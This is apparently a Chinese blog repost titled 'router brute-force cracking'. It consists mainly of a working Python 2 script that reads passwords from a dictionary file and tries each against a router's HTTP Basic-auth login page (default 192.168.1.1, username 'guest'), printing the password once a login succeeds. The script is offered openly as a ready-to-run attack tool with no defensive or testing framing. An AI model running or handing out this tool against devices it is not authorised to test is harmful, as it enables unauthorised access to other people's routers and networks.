zoukankan      html  css  js  c++  java
  • 路由器暴力破解

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    
    import requests
    from BeautifulSoup import BeautifulSoup
    import time
    import os,sys
    import getopt
    
    # 解决Max retries exceeded with url错误
    #requests.adapters.DEFAULT_RETRIES = 5
    
    # 设置Headers
    headers = {
        'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6',
        "Host:": "192.168.1.1",
        "Connection":"close",#keep-alive
        "Accept-Encoding": "identity",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
    }
    
    # 从字典文件读取密码,并进行测试
    def check_router_password_use_dict(url,user_name,dict_file_name):
        count = 0L
        fp_error_log = open('error_log','w')
        with open(dict_file_name,'r') as fp:
            for line in fp:
                count += 1
                #print line.strip('
    ')
                try:
                    response = requests.get(url,auth=(user_name,line.strip('
    ')),headers=headers)
                    #print response.status_code,line.strip('
    ')
                    print "%-10s %s %s %s" %(count,time.ctime(),response.status_code,line.strip('
    '))
                    soup = BeautifulSoup(response.content)
                    if response.status_code == 200 and len(soup.title)==1:
                        #print count,time.ctime(),line.strip('
    ')
                        print "It's OK ,password is",line.strip('
    ')
                        break
                except Exception,e:
                    print e
                    fp_error_log.writelines(str(e)+os.linesep)
                    pass
        fp_error_log.close()
    
    
    def Usage(own_file_name):
        print "	Usage:",own_file_name,"-u url -l username -p password_file_path"
    
    if __name__ == "__main__":
        username  = "guest" #default username
        pass_file = ""     #default password file path
        url       = 'http://192.168.1.1' #default router url
        try:
            options,args = getopt.getopt(sys.argv[1:],"hu:l:p:",["help","url=","username=","password_file="])
            for name,value in options:
                if name in ("-h","--help"):
                    Usage(sys.argv[0])
                    sys.exit()
                if name in ("-l","--username"):
                    username = value
                if name in ("-p","--password_file"):
                    pass_file = value
                if name in ("-u","--url"):
                    url = value
            if os.path.isfile(pass_file):
                check_router_password_use_dict(url,username,pass_file)
            else:
                print u"password file not found,try again..."
                Usage(sys.argv[0])
        except getopt.GetoptError:
            sys.exit()
        except KeyboardInterrupt,e:
            sys.exit()

    .

  • 相关阅读:
    接口自动化(三)--读取json文件中的数据
    接口自动化(二)--操作Excel获取需要数据
    接口自动化(一)--概述
    pycharm(2016.3.2版本)导入工程文件执行程序时弹出Edit configuration
    使用Fiddler实现网络限速
    fiddler工具条、状态栏、请求信息栏各按钮的作用
    修改elementUI源码新增组件/修改组件
    DRF框架的基本组件
    django之原生SQL操作封装
    jqtree使用说明
  • 原文地址:https://www.cnblogs.com/tk091/p/3669536.html
Copyright © 2011-2022 走看看